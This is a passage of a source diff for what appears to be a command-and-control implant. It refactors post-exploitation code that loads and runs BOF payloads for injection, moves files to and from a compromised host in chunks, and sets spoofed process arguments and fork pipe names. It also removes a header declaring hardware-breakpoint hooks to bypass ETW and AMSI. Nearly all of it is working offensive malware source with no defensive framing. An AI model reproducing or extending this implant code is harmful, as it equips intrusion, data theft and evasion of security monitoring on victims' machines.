||||
) -> ERROR_CODE {
|
||||
KhDbg("ENTER - Job UUID: %s", Job->UUID);
|
||||
|
||||
PARSER* Parser = Job->Psr;
|
||||
PACKAGE* Package = Job->Pkg;
|
||||
|
||||
KhDbg("Parser: %p, Package: %p", Parser, Package);
|
||||
KhDbg("Parser->Buffer: %p, Parser->Length: %d", Parser ? Parser->Buffer : nullptr, Parser ? Parser->Length : 0);
|
||||
|
||||
ULONG SubCmd = Self->Psr->Int32( Parser );
|
||||
|
||||
if ( ! SubCmd ) SubCmd = Self->Postex.SubId;
|
||||
|
||||
Self->Pkg->Int32( Package, SubCmd );
|
||||
if ( ! SubCmd ) SubCmd = (ULONG)Action::Postex::Poll;
|
||||
|
||||
KhDbg("SubCmd: %d", SubCmd);
|
||||
|
||||
switch ( (Action::Postex)SubCmd ) {
|
||||
|
||||
case Action::Postex::Inject: {
|
||||
KhDbg("ENTER");
|
||||
KhDbg("Parser before Bytes: Buffer=%p, Length=%d", Parser->Buffer, Parser->Length);
|
||||
Self->Pkg->Int32( Package, SubCmd );
|
||||
|
||||
ULONG BofLen = 0;
|
||||
PBYTE BofData = Self->Psr->Bytes( Parser, &BofLen );
|
||||
|
||||
KhDbg("BofData: %p, BofLen: %d, IsLoaded: %d", BofData, BofLen, Self->Postex.IsLoaded);
|
||||
|
||||
if ( BofLen > 0 && !Self->Postex.IsLoaded ) {
|
||||
KhDbg("First time loading PostexKit");
|
||||
|
||||
Self->Postex.Mapped = (COFF_MAPPED*)KhAlloc( sizeof(COFF_MAPPED) );
|
||||
|
||||
if ( !Self->Cf->Map( BofData, BofLen, Self->Postex.Mapped ) ) {
|
||||
if ( ! Self->Cf->Map( BofData, BofLen, Self->Postex.Mapped ) ) {
|
||||
KhDbg("ERROR: Failed to map BOF");
|
||||
Self->Pkg->Int32( Package, 0 );
|
||||
return KhGetError;
|
||||
@@ -181,9 +169,7 @@ auto DECLFN Task::Postex(
|
||||
KhDbg("PostexKit loaded, poll job created");
|
||||
}
|
||||
|
||||
if ( !Self->Postex.IsLoaded || !Self->Postex.fn_inject ) {
|
||||
KhDbg("ERROR: Not loaded or fn_inject is null (IsLoaded=%d, fn_inject=%p)",
|
||||
Self->Postex.IsLoaded, Self->Postex.fn_inject);
|
||||
if ( ! Self->Postex.IsLoaded || ! Self->Postex.fn_inject ) {
|
||||
Self->Pkg->Int32( Package, 0 );
|
||||
return KhGetError;
|
||||
}
|
||||
@@ -191,11 +177,10 @@ auto DECLFN Task::Postex(
|
||||
ULONG ArgsLen = 0;
|
||||
PBYTE Args = (PBYTE)Self->Psr->Bytes( Parser, &ArgsLen );
|
||||
|
||||
KhDbg("Calling go_inject with Args=%p, ArgsLen=%d", Args, ArgsLen);
|
||||
|
||||
Self->Config.Postex.CurrentUUID = Job->UUID;
|
||||
((BOOL(*)(char*, int))Self->Postex.fn_inject)( (char*)Args, ArgsLen );
|
||||
Self->Config.Postex.CurrentUUID = nullptr;
|
||||
|
||||
KhDbg("go_inject returned");
|
||||
Self->Pkg->Int32( Package, 1 );
|
||||
|
||||
Self->Postex.SubId = (INT32)Action::Postex::Poll;
|
||||
@@ -204,20 +189,14 @@ auto DECLFN Task::Postex(
|
||||
}
|
||||
|
||||
case Action::Postex::Poll: {
|
||||
KhDbg("ENTER (IsLoaded=%d, fn_poll=%p)", Self->Postex.IsLoaded, Self->Postex.fn_poll);
|
||||
|
||||
if ( !Self->Postex.IsLoaded || !Self->Postex.fn_poll ) {
|
||||
KhDbg("Not loaded, marking job for cleanup");
|
||||
Job->Clean = TRUE;
|
||||
return KhRetSuccess;
|
||||
}
|
||||
|
||||
KhDbg("Calling go_poll");
|
||||
|
||||
BOOL clean = ((BOOL(*)(char*, int))Self->Postex.fn_poll)( nullptr, 0 );
|
||||
|
||||
KhDbg("go_poll returned to clean %s", clean ? "TRUE" : "FALSE");
|
||||
|
||||
if ( clean ) {
|
||||
Self->Cf->Unmap( Self->Postex.Mapped );
|
||||
KhFree( Self->Postex.Mapped );
|
||||
@@ -232,10 +211,6 @@ auto DECLFN Task::Postex(
|
||||
}
|
||||
|
||||
case Action::Postex::Cleanup: {
|
||||
KhDbg("ENTER",
|
||||
SubCmd == (ULONG)Action::Postex::Kill ? "Kill" :
|
||||
SubCmd == (ULONG)Action::Postex::List ? "List" : "Cleanup");
|
||||
|
||||
PVOID fn = nullptr;
|
||||
|
||||
switch ( (Action::Postex)SubCmd ) {
|
||||
@@ -245,30 +220,25 @@ auto DECLFN Task::Postex(
|
||||
default: break;
|
||||
}
|
||||
|
||||
if ( !Self->Postex.IsLoaded || !fn ) {
|
||||
KhDbg("ERROR: Not loaded or fn is null");
|
||||
if ( ! Self->Postex.IsLoaded || !fn ) {
|
||||
KhDbg("Not loaded or fn is null");
|
||||
return KhGetError;
|
||||
}
|
||||
|
||||
PBYTE Args = (SubCmd == (ULONG)Action::Postex::Kill) ? (PBYTE)Parser->Buffer : nullptr;
|
||||
ULONG ArgsLen = (SubCmd == (ULONG)Action::Postex::Kill) ? Parser->Length : 0;
|
||||
|
||||
KhDbg("Calling subcmd %d with Args=%p, ArgsLen=%d", SubCmd, Args, ArgsLen);
|
||||
|
||||
((void(*)(char*, int))fn)( (char*)Args, ArgsLen );
|
||||
|
||||
KhDbg("subcmd %d returned", SubCmd);
|
||||
break;
|
||||
}
|
||||
|
||||
default: {
|
||||
KhDbg("ERROR: Unknown SubCmd: %d", SubCmd);
|
||||
KhDbg("Unknown SubCmd: %d", SubCmd);
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
KhDbg("EXIT");
|
||||
return KhRetSuccess;
|
||||
}
|
||||
|
||||
@@ -324,67 +294,69 @@ auto DECLFN Task::ProcessDownloads(
|
||||
ULONG StartEvtLen = 0;
|
||||
|
||||
for (INT i = 0; i < 30; i++) {
|
||||
if ( Self->Tsp->Down[i].FileID && Str::LengthA( Self->Tsp->Down[i].FileID ) ) {
|
||||
auto& Slot = Self->Tsp->Down[i];
|
||||
|
||||
if (Self->Tsp->Down[i].CurChunk > Self->Tsp->Down[i].TotalChunks) {
|
||||
if ( Slot.FileID && Str::LengthA( Slot.FileID ) ) {
|
||||
|
||||
if ( Slot.CurChunk > Slot.TotalChunks ) {
|
||||
KhDbg("SHOULD NEVER BE REACHED");
|
||||
Self->Tsp->Down[i].FileID = "";
|
||||
Slot.FileID = "";
|
||||
continue;
|
||||
}
|
||||
|
||||
ULONG chunksize = Self->Tsp->Down[i].ChunkSize;
|
||||
ULONG Offset = (Self->Tsp->Down[i].CurChunk - 1) * Self->Tsp->Down[i].ChunkSize;
|
||||
KhDbg("Reading chunk %d/%d for file ID %s at offset %lu", Self->Tsp->Down[i].CurChunk, Self->Tsp->Down[i].TotalChunks, Self->Tsp->Down[i].FileID, Offset);
|
||||
ULONG chunksize = Slot.ChunkSize;
|
||||
ULONG Offset = (Slot.CurChunk - 1) * Slot.ChunkSize;
|
||||
KhDbg("Reading chunk %d/%d for file ID %s at offset %lu", Slot.CurChunk, Slot.TotalChunks, Slot.FileID, Offset);
|
||||
|
||||
ULONG Result = (ULONG)Self->Krnl32.SetFilePointer(
|
||||
Self->Tsp->Down[i].FileHandle,
|
||||
(LONG)Offset, // low-order 32 bits
|
||||
NULL, // high-order 32 bits (must be NULL for <4GB)
|
||||
Slot.FileHandle,
|
||||
(LONG)Offset,
|
||||
NULL,
|
||||
FILE_BEGIN
|
||||
);
|
||||
|
||||
BYTE* FileBuffer = B_PTR( KhAlloc( chunksize ) );
|
||||
ULONG BytesRead = 0;
|
||||
|
||||
if ( ! Self->Krnl32.ReadFile( Self->Tsp->Down[i].FileHandle, FileBuffer, chunksize, &BytesRead, 0 ) || BytesRead == 0 ) {
|
||||
if ( ! Self->Krnl32.ReadFile( Slot.FileHandle, FileBuffer, chunksize, &BytesRead, 0 ) || BytesRead == 0 ) {
|
||||
CHAR* ErrorMsg = "Failed to read from file";
|
||||
KhDbg("%s (Error: %d)", ErrorMsg, KhGetError);
|
||||
|
||||
Self->Ntdll.NtClose( Self->Tsp->Down[i].FileHandle );
|
||||
Self->Ntdll.NtClose( Slot.FileHandle );
|
||||
KhFree(FileBuffer);
|
||||
|
||||
Events[StartEvtLen].FileID = Self->Tsp->Down[i].FileID;
|
||||
Events[StartEvtLen].FileID = Slot.FileID;
|
||||
Events[StartEvtLen].ErrorCode = 1;
|
||||
CHAR* Reason = "CHUNK_READ_ERROR";
|
||||
Events[StartEvtLen].Reason = Reason;
|
||||
StartEvtLen++;
|
||||
|
||||
if ( Self->Tsp->Down[i].Path ) KhFree( Self->Tsp->Down[i].Path );
|
||||
Self->Tsp->Down[i].FileID = nullptr;
|
||||
Self->Tsp->Down[i].Path = nullptr;
|
||||
if ( Slot.Path ) KhFree( Slot.Path );
|
||||
Slot.FileID = nullptr;
|
||||
Slot.Path = nullptr;
|
||||
|
||||
QuickErr( ErrorMsg );
|
||||
continue;
|
||||
}
|
||||
|
||||
Events[StartEvtLen].FileID = Self->Tsp->Down[i].FileID;
|
||||
Events[StartEvtLen].ErrorCode = 0;
|
||||
Events[StartEvtLen].Data = FileBuffer;
|
||||
Events[StartEvtLen].DataLen = BytesRead;
|
||||
Events[StartEvtLen].CurChunk = Self->Tsp->Down[i].CurChunk;
|
||||
Events[StartEvtLen].TotalChunks = Self->Tsp->Down[i].TotalChunks;
|
||||
Events[StartEvtLen].FileID = Slot.FileID;
|
||||
Events[StartEvtLen].ErrorCode = 0;
|
||||
Events[StartEvtLen].Data = FileBuffer;
|
||||
Events[StartEvtLen].DataLen = BytesRead;
|
||||
Events[StartEvtLen].CurChunk = Slot.CurChunk;
|
||||
Events[StartEvtLen].TotalChunks = Slot.TotalChunks;
|
||||
StartEvtLen++;
|
||||
|
||||
BOOL IsFinalChunk = (Self->Tsp->Down[i].CurChunk == Self->Tsp->Down[i].TotalChunks);
|
||||
BOOL IsFinalChunk = (Slot.CurChunk == Slot.TotalChunks);
|
||||
|
||||
if ( ! IsFinalChunk ) {
|
||||
Self->Tsp->Down[i].CurChunk = Self->Tsp->Down[i].CurChunk + 1;
|
||||
Slot.CurChunk = Slot.CurChunk + 1;
|
||||
} else {
|
||||
Self->Ntdll.NtClose(Self->Tsp->Down[i].FileHandle);
|
||||
Self->Ntdll.NtClose( Slot.FileHandle );
|
||||
|
||||
if ( Self->Tsp->Down[i].Path ) KhFree( Self->Tsp->Down[i].Path );
|
||||
Self->Tsp->Down[i].FileID = nullptr;
|
||||
Self->Tsp->Down[i].Path = nullptr;
|
||||
if ( Slot.Path ) KhFree( Slot.Path );
|
||||
Slot.FileID = nullptr;
|
||||
Slot.Path = nullptr;
|
||||
Self->Tsp->DownloadTasksCount--;
|
||||
}
|
||||
}
|
||||
@@ -408,10 +380,6 @@ auto DECLFN Task::ProcessDownloads(
|
||||
KhDbg("Processing TaskPacking for - FileID: %s, Error code: %d", Events[i].FileID, Events[i].ErrorCode);
|
||||
Self->Pkg->Int32(Job->Pkg, Events[i].DataLen);
|
||||
KhDbg("Data Length: %d", Events[i].DataLen);
|
||||
// KhDbg( "Job Package Bytes for FileID: %s", Events[i].FileID);
|
||||
// for ( INT j = 0; j < Events[i].DataLen; j++ ) {
|
||||
// KhDbg( "%02X ", (Events[i].Data)[j] );
|
||||
// }
|
||||
Self->Pkg->Bytes(Job->Pkg, Events[i].Data, Events[i].DataLen);
|
||||
Self->Pkg->Int32(Job->Pkg, Events[i].CurChunk);
|
||||
KhDbg("Current Chunk: %d", Events[i].CurChunk);
|
||||
@@ -450,8 +418,8 @@ auto DECLFN Task::Download(
|
||||
FileID = Self->Psr->Str( Parser, 0 );
|
||||
if ( ! FileID || ! Str::LengthA( FileID ) ) {
|
||||
Self->Pkg->Str( Package, FileID );
|
||||
Self->Pkg->Int32( Package, 1 ); // Error
|
||||
Self->Pkg->Str( Package, "INVALID_FILE_ID" ); // Reason
|
||||
Self->Pkg->Int32( Package, 1 );
|
||||
Self->Pkg->Str( Package, "INVALID_FILE_ID" );
|
||||
|
||||
QuickErr( "Invalid file ID" );
|
||||
return KhRetSuccess;
|
||||
@@ -461,10 +429,9 @@ auto DECLFN Task::Download(
|
||||
KhDbg("Download file Path: %s", FilePath);
|
||||
|
||||
if ( ! FilePath || ! Str::LengthA( FilePath ) ) {
|
||||
|
||||
Self->Pkg->Str( Package, FileID );
|
||||
Self->Pkg->Int32( Package, 1 ); // Error
|
||||
Self->Pkg->Str( Package, "INVALID_FILE_PATH" ); // Reason
|
||||
Self->Pkg->Int32( Package, 1 );
|
||||
Self->Pkg->Str( Package, "INVALID_FILE_PATH" );
|
||||
|
||||
QuickErr( "Invalid file path" );
|
||||
return KhRetSuccess;
|
||||
@@ -476,8 +443,8 @@ auto DECLFN Task::Download(
|
||||
|
||||
if ( FileHandle == INVALID_HANDLE_VALUE ) {
|
||||
Self->Pkg->Str( Package, FileID );
|
||||
Self->Pkg->Int32( Package, 1 ); // Error
|
||||
Self->Pkg->Str( Package, "INVALID_FILE_HANDLE" ); // Reason
|
||||
Self->Pkg->Int32( Package, 1 );
|
||||
Self->Pkg->Str( Package, "INVALID_FILE_HANDLE" );
|
||||
|
||||
QuickErr( "Failed to open file for reading" );
|
||||
return KhRetSuccess;
|
||||
@@ -496,8 +463,8 @@ auto DECLFN Task::Download(
|
||||
|
||||
if ( Index == -1 ) {
|
||||
Self->Pkg->Str( Package, FileID );
|
||||
Self->Pkg->Int32( Package, 1 ); // Error
|
||||
Self->Pkg->Str( Package, "MAX_DOWNLOADS_REACHED" ); // Reason
|
||||
Self->Pkg->Int32( Package, 1 );
|
||||
Self->Pkg->Str( Package, "MAX_DOWNLOADS_REACHED" );
|
||||
|
||||
QuickErr( "Maximum concurrent uploads (30) reached" );
|
||||
Self->Ntdll.NtClose( FileHandle );
|
||||
@@ -508,20 +475,20 @@ auto DECLFN Task::Download(
|
||||
|
||||
ULONG FileIDLen = Str::LengthA( FileID );
|
||||
CHAR* FileIDCopy = (CHAR*)KhAlloc( FileIDLen + 1 );
|
||||
|
||||
Str::CopyA( FileIDCopy, FileID );
|
||||
|
||||
ULONG FilePathLen = Str::LengthA( FilePath );
|
||||
CHAR* FilePathCopy = (CHAR*)KhAlloc( FilePathLen + 1 );
|
||||
|
||||
Str::CopyA( FilePathCopy, FilePath );
|
||||
|
||||
Self->Tsp->Down[Index].FileID = FileIDCopy;
|
||||
Self->Tsp->Down[Index].ChunkSize = chunksize;
|
||||
Self->Tsp->Down[Index].CurChunk = 1;
|
||||
Self->Tsp->Down[Index].TotalChunks = (FileSize + chunksize - 1) / chunksize;
|
||||
Self->Tsp->Down[Index].Path = FilePathCopy;
|
||||
Self->Tsp->Down[Index].FileHandle = FileHandle;
|
||||
auto& Slot = Self->Tsp->Down[Index];
|
||||
|
||||
Slot.FileID = FileIDCopy;
|
||||
Slot.ChunkSize = chunksize;
|
||||
Slot.CurChunk = 1;
|
||||
Slot.TotalChunks = (FileSize + chunksize - 1) / chunksize;
|
||||
Slot.Path = FilePathCopy;
|
||||
Slot.FileHandle = FileHandle;
|
||||
|
||||
Self->Tsp->DownloadTasksCount++;
|
||||
|
||||
@@ -531,7 +498,7 @@ auto DECLFN Task::Download(
|
||||
BYTE* TmpBufDownload = (BYTE*)KhAlloc( sizeof(UINT16) );
|
||||
UINT16 CmdDownload = (UINT16)Action::Task::ProcessDownloads;
|
||||
JOBS* NewJobDownload = nullptr;
|
||||
// 4-byte big-endian length
|
||||
|
||||
TmpBufDownload[0] = (CmdDownload ) & 0xFF;
|
||||
TmpBufDownload[1] = (CmdDownload >> 8) & 0xFF;
|
||||
|
||||
@@ -542,7 +509,6 @@ auto DECLFN Task::Download(
|
||||
}
|
||||
|
||||
Self->Psr->New( TmpPsrDownload, TmpBufDownload, sizeof(UINT16) );
|
||||
|
||||
KhFree( TmpBufDownload );
|
||||
|
||||
NewJobDownload = Self->Jbs->Create( Self->Jbs->DownloadUUID, TmpPsrDownload, TRUE );
|
||||
@@ -598,13 +564,15 @@ auto DECLFN Task::Upload(
|
||||
|
||||
KhDbg("file path: %s", FilePath);
|
||||
|
||||
Self->Tsp->Up[Index].FileID = FileID;
|
||||
Self->Tsp->Up[Index].Path = FilePath;
|
||||
Self->Tsp->Up[Index].CurChunk = 0;
|
||||
Self->Tsp->Up[Index].BytesReceived = 0;
|
||||
Self->Tsp->Up[Index].TotalChunks = 0;
|
||||
auto& Slot = Self->Tsp->Up[Index];
|
||||
|
||||
Self->Pkg->Int32( Package, 1 ); // Start with chunk 1
|
||||
Slot.FileID = FileID;
|
||||
Slot.Path = FilePath;
|
||||
Slot.CurChunk = 0;
|
||||
Slot.BytesReceived = 0;
|
||||
Slot.TotalChunks = 0;
|
||||
|
||||
Self->Pkg->Int32( Package, 1 );
|
||||
Self->Pkg->Str( Package, FileID );
|
||||
Self->Pkg->Str( Package, FilePath );
|
||||
Self->Pkg->Int32( Package, KH_CHUNK_SIZE );
|
||||
@@ -649,18 +617,17 @@ auto DECLFN Task::Upload(
|
||||
|
||||
KhDbg("FIleIndex: %d", FileIndex);
|
||||
|
||||
if (
|
||||
! Self->Tsp->Up[FileIndex].FileHandle || Self->Tsp->Up[FileIndex].FileHandle == INVALID_HANDLE_VALUE
|
||||
) {
|
||||
Self->Tsp->Up[FileIndex].FileHandle = Self->Krnl32.CreateFileA(
|
||||
Self->Tsp->Up[FileIndex].Path, FILE_APPEND_DATA,
|
||||
auto& Slot = Self->Tsp->Up[FileIndex];
|
||||
|
||||
if ( ! Slot.FileHandle || Slot.FileHandle == INVALID_HANDLE_VALUE ) {
|
||||
Slot.FileHandle = Self->Krnl32.CreateFileA(
|
||||
Slot.Path, FILE_APPEND_DATA,
|
||||
FILE_SHARE_READ, nullptr, OPEN_ALWAYS,
|
||||
FILE_ATTRIBUTE_NORMAL, nullptr
|
||||
);
|
||||
KhDbg("Created File Handle");
|
||||
|
||||
|
||||
if (Self->Tsp->Up[FileIndex].FileHandle == INVALID_HANDLE_VALUE) {
|
||||
if ( Slot.FileHandle == INVALID_HANDLE_VALUE ) {
|
||||
CHAR* ErrorMsg = "Failed to create/open file";
|
||||
KhDbg("%s (Error: %d)", ErrorMsg, KhGetError);
|
||||
QuickErr( ErrorMsg );
|
||||
@@ -669,13 +636,13 @@ auto DECLFN Task::Upload(
|
||||
}
|
||||
|
||||
Self->Krnl32.SetFilePointer(
|
||||
Self->Tsp->Up[FileIndex].FileHandle,
|
||||
Slot.FileHandle,
|
||||
0, nullptr, FILE_END
|
||||
);
|
||||
|
||||
DWORD bytesWritten;
|
||||
BOOL writeResult = Self->Krnl32.WriteFile(
|
||||
Self->Tsp->Up[FileIndex].FileHandle,
|
||||
Slot.FileHandle,
|
||||
ChunkData, ChunkSize, &bytesWritten, nullptr
|
||||
);
|
||||
KhDbg("bytesWritten: %lu", bytesWritten);
|
||||
@@ -686,45 +653,45 @@ auto DECLFN Task::Upload(
|
||||
KhDbg("%s (Error: %d)", ErrorMsg, KhGetError);
|
||||
QuickErr( ErrorMsg );
|
||||
|
||||
if ( Self->Tsp->Up[FileIndex].FileHandle != INVALID_HANDLE_VALUE ) {
|
||||
Self->Ntdll.NtClose( Self->Tsp->Up[FileIndex].FileHandle );
|
||||
Self->Tsp->Up[FileIndex].FileHandle = INVALID_HANDLE_VALUE;
|
||||
if ( Slot.FileHandle != INVALID_HANDLE_VALUE ) {
|
||||
Self->Ntdll.NtClose( Slot.FileHandle );
|
||||
Slot.FileHandle = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
return KhRetSuccess;
|
||||
}
|
||||
|
||||
Self->Tsp->Up[FileIndex].CurChunk = ChunkNumber;
|
||||
Self->Tsp->Up[FileIndex].BytesReceived += bytesWritten;
|
||||
Self->Tsp->Up[FileIndex].TotalChunks = TotalChunks;
|
||||
Slot.CurChunk = ChunkNumber;
|
||||
Slot.BytesReceived += bytesWritten;
|
||||
Slot.TotalChunks = TotalChunks;
|
||||
|
||||
KhDbg("Chunk %d/%d (%d bytes) written to %s",
|
||||
ChunkNumber, TotalChunks, bytesWritten, FileID);
|
||||
|
||||
if ( ChunkNumber == TotalChunks || ChunkSize < KH_CHUNK_SIZE ) {
|
||||
QuickMsg(
|
||||
"Upload completed: %s (%d bytes total)",
|
||||
FileID, Self->Tsp->Up[FileIndex].BytesReceived
|
||||
"Upload completed ID: %s (%d bytes total)",
|
||||
FileID, Slot.BytesReceived
|
||||
);
|
||||
|
||||
if ( Self->Tsp->Up[FileIndex].FileHandle != INVALID_HANDLE_VALUE ) {
|
||||
Self->Ntdll.NtClose( Self->Tsp->Up[FileIndex].FileHandle );
|
||||
Self->Tsp->Up[FileIndex].FileHandle = INVALID_HANDLE_VALUE;
|
||||
if ( Slot.FileHandle != INVALID_HANDLE_VALUE ) {
|
||||
Self->Ntdll.NtClose( Slot.FileHandle );
|
||||
Slot.FileHandle = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
if ( Self->Tsp->Up[FileIndex].FileID ) {
|
||||
KhFree( Self->Tsp->Up[FileIndex].FileID );
|
||||
Self->Tsp->Up[FileIndex].FileID = nullptr;
|
||||
if ( Slot.FileID ) {
|
||||
KhFree( Slot.FileID );
|
||||
Slot.FileID = nullptr;
|
||||
}
|
||||
|
||||
if ( Self->Tsp->Up[FileIndex].Path ) {
|
||||
KhFree( Self->Tsp->Up[FileIndex].Path );
|
||||
Self->Tsp->Up[FileIndex].Path = nullptr;
|
||||
if ( Slot.Path ) {
|
||||
KhFree( Slot.Path );
|
||||
Slot.Path = nullptr;
|
||||
}
|
||||
Self->Tsp->Up[FileIndex].FileID = "";
|
||||
Self->Tsp->Up[FileIndex].CurChunk = 0;
|
||||
Self->Tsp->Up[FileIndex].BytesReceived = 0;
|
||||
Self->Tsp->Up[FileIndex].TotalChunks = 0;
|
||||
Slot.FileID = "";
|
||||
Slot.CurChunk = 0;
|
||||
Slot.BytesReceived = 0;
|
||||
Slot.TotalChunks = 0;
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
@@ -156,9 +156,14 @@ extern "C" auto go( char* args, int argc ) -> void {
|
||||
break;
|
||||
}
|
||||
case Config::ForkPipeName: {
|
||||
WCHAR* ForkPipeName = (WCHAR*)BeaconDataExtract( &data_parser, nullptr );
|
||||
CHAR* ForkPipeName = (CHAR*)BeaconDataExtract( &data_parser, nullptr );
|
||||
|
||||
info->Config->Postex.ForkPipe = ForkPipeName;
|
||||
if ( BeaconHeapCheckPtr( info->Config->Postex.ForkPipe ) ) {
|
||||
BeaconHeapFree( info->Config->Postex.ForkPipe );
|
||||
}
|
||||
|
||||
info->Config->Postex.ForkPipe = (CHAR*)BeaconHeapAlloc( strlen( ForkPipeName ) * sizeof(CHAR) + 1 );
|
||||
memcpy( info->Config->Postex.ForkPipe, ForkPipeName, strlen( ForkPipeName ) * sizeof(CHAR) + sizeof(CHAR) );
|
||||
|
||||
break;
|
||||
}
|
||||
@@ -172,7 +177,12 @@ extern "C" auto go( char* args, int argc ) -> void {
|
||||
case Config::Argue: {
|
||||
WCHAR* Argue = (WCHAR*)BeaconDataExtract( &data_parser, nullptr );
|
||||
|
||||
info->Config->Ps.SpoofArg = Argue;
|
||||
if ( BeaconHeapCheckPtr( info->Config->Ps.SpoofArg ) ) {
|
||||
BeaconHeapFree( info->Config->Ps.SpoofArg );
|
||||
}
|
||||
|
||||
info->Config->Ps.SpoofArg = (WCHAR*)BeaconHeapAlloc( wcslen( Argue ) * sizeof(WCHAR) + sizeof(WCHAR) );
|
||||
memcpy( info->Config->Ps.SpoofArg, Argue, wcslen( Argue ) * sizeof(WCHAR) );
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -209,7 +209,8 @@ typedef struct {
|
||||
|
||||
struct {
|
||||
WCHAR* Spawnto;
|
||||
WCHAR* ForkPipe;
|
||||
PCHAR ForkPipe;
|
||||
PCHAR CurrentUUID;
|
||||
} Postex;
|
||||
|
||||
struct {
|
||||
@@ -299,6 +300,11 @@ EXTERN_C {
|
||||
DECLSPEC_IMPORT INT BeaconDataLength (datap* Parser);
|
||||
DECLSPEC_IMPORT PCHAR BeaconDataExtract (datap* Parser, PINT Size);
|
||||
|
||||
DECLSPEC_IMPORT PVOID BeaconHeapAlloc( ULONG size );
|
||||
DECLSPEC_IMPORT PVOID BeaconHeapReAlloc( PVOID block, ULONG size );
|
||||
DECLSPEC_IMPORT BOOL BeaconHeapFree( PVOID block );
|
||||
DECLSPEC_IMPORT BOOL BeaconHeapCheckPtr( PVOID block );
|
||||
|
||||
DECLSPEC_IMPORT VOID BeaconFormatAlloc (fmt* Format, INT Maxsz);
|
||||
DECLSPEC_IMPORT VOID BeaconFormatReset (fmt* Format);
|
||||
DECLSPEC_IMPORT VOID BeaconFormatFree (fmt* Format);
|
||||
@@ -311,11 +317,11 @@ EXTERN_C {
|
||||
DECLSPEC_IMPORT PVOID BeaconGetValue(PCCH Key);
|
||||
DECLSPEC_IMPORT BOOL BeaconRemoveValue(PCCH Key);
|
||||
|
||||
DECLSPEC_IMPORT VOID BeaconPkgBytes( PBYTE Buffer, ULONG Length );
|
||||
DECLSPEC_IMPORT VOID BeaconPkgInt8( INT8 Data );
|
||||
DECLSPEC_IMPORT VOID BeaconPkgInt16( INT16 Data );
|
||||
DECLSPEC_IMPORT VOID BeaconPkgInt32( INT32 Data );
|
||||
DECLSPEC_IMPORT VOID BeaconPkgInt64( INT64 Data );
|
||||
DECLSPEC_IMPORT VOID BeaconPkgBytes( PBYTE Buffer, ULONG Length, PCHAR UUID = nullptr );
|
||||
DECLSPEC_IMPORT VOID BeaconPkgInt8( INT8 Data, PCHAR UUID = nullptr );
|
||||
DECLSPEC_IMPORT VOID BeaconPkgInt16( INT16 Data, PCHAR UUID = nullptr );
|
||||
DECLSPEC_IMPORT VOID BeaconPkgInt32( INT32 Data, PCHAR UUID = nullptr );
|
||||
DECLSPEC_IMPORT VOID BeaconPkgInt64( INT64 Data, PCHAR UUID = nullptr );
|
||||
|
||||
DECLSPEC_IMPORT BOOL BeaconInformation( BEACON_INFO* info );
|
||||
|
||||
|
||||
@@ -1,236 +0,0 @@
|
||||
#ifndef DOTNET_H
|
||||
#define DOTNET_H
|
||||
|
||||
#include <clr.h>
|
||||
|
||||
#define PIPE_BUFFER_LENGTH 0x10000
|
||||
|
||||
namespace mscorlib {
|
||||
#include <mscoree.h>
|
||||
}
|
||||
|
||||
typedef mscorlib::_PropertyInfo IPropertyInfo;
|
||||
typedef mscorlib::_AppDomain IAppDomain;
|
||||
typedef mscorlib::_Assembly IAssembly;
|
||||
typedef mscorlib::_Type IType;
|
||||
typedef mscorlib::_MethodInfo IMethodInfo;
|
||||
typedef mscorlib::BindingFlags IBindingFlags;
|
||||
|
||||
#define min(a, b) (((a) < (b)) ? (a) : (b))
|
||||
|
||||
namespace Write {
|
||||
enum Type {
|
||||
Default,
|
||||
Apc
|
||||
};
|
||||
}
|
||||
|
||||
namespace Alloc {
|
||||
enum Type {
|
||||
Default,
|
||||
Drip
|
||||
};
|
||||
}
|
||||
|
||||
#define HW_ALL_THREADS 0x25
|
||||
|
||||
enum Dr {
|
||||
x0,
|
||||
x1,
|
||||
x2,
|
||||
x3
|
||||
};
|
||||
|
||||
typedef struct _DESCRIPTOR_HOOK {
|
||||
ULONG ThreadID;
|
||||
HANDLE Handle;
|
||||
BOOL Processed;
|
||||
INT8 Drx;
|
||||
UPTR Address;
|
||||
VOID ( *Detour )( PCONTEXT );
|
||||
struct _DESCRIPTOR_HOOK* Next;
|
||||
struct _DESCRIPTOR_HOOK* Prev;
|
||||
} DESCRIPTOR_HOOK, *PDESCRIPTOR_HOOK;
|
||||
|
||||
#define CONTINUE_EXEC( Ctx )( Ctx->EFlags = Ctx->EFlags | ( 1 << 16 ) )
|
||||
|
||||
#ifdef _WIN64
|
||||
#define SET_RET( Ctx, Val )( (UPTR)( Ctx->Rax = (UPTR)( Val ) ) )
|
||||
#elif _WIN32
|
||||
#define SET_RET( Ctx, Val )( (UPTR)( Ctx->Eax = (UPTR)( Val ) ) )
|
||||
#endif
|
||||
|
||||
#define KH_BYPASS_NONE 0x000
|
||||
#define KH_BYPASS_ALL 0x100
|
||||
#define KH_BYPASS_ETW 0x400
|
||||
#define KH_BYPASS_AMSI 0x700
|
||||
|
||||
namespace Hwbp {
|
||||
struct {
|
||||
UPTR NtTraceEvent;
|
||||
} Etw;
|
||||
|
||||
struct {
|
||||
UPTR Handle;
|
||||
UPTR AmsiScanBuffer;
|
||||
} Amsi;
|
||||
|
||||
UPTR ExitPtr;
|
||||
|
||||
auto PatchExitDetour( PCONTEXT Ctx ) -> VOID;
|
||||
|
||||
auto SetDr7(
|
||||
_In_ UPTR ActVal,
|
||||
_In_ UPTR NewVal,
|
||||
_In_ INT StartPos,
|
||||
_In_ INT BitsCount
|
||||
) -> UPTR;
|
||||
|
||||
auto Install(
|
||||
_In_ UPTR Address,
|
||||
_In_ INT8 Drx,
|
||||
_In_ PVOID Callback,
|
||||
_In_ ULONG ThreadID
|
||||
) -> BOOL;
|
||||
|
||||
auto Uninstall(
|
||||
_In_ UPTR Address,
|
||||
_In_ ULONG ThreadID
|
||||
) -> BOOL;
|
||||
|
||||
auto SetBreak(
|
||||
_In_ ULONG ThreadID,
|
||||
_In_ UPTR Address,
|
||||
_In_ INT8 Drx,
|
||||
_In_ BOOL Init
|
||||
) -> BOOL;
|
||||
|
||||
auto Insert(
|
||||
_In_ UPTR Address,
|
||||
_In_ INT8 Drx,
|
||||
_In_ BOOL Init,
|
||||
_In_ ULONG ThreadID
|
||||
) -> BOOL;
|
||||
|
||||
auto Init( VOID ) -> BOOL;
|
||||
auto Clean( VOID ) -> BOOL;
|
||||
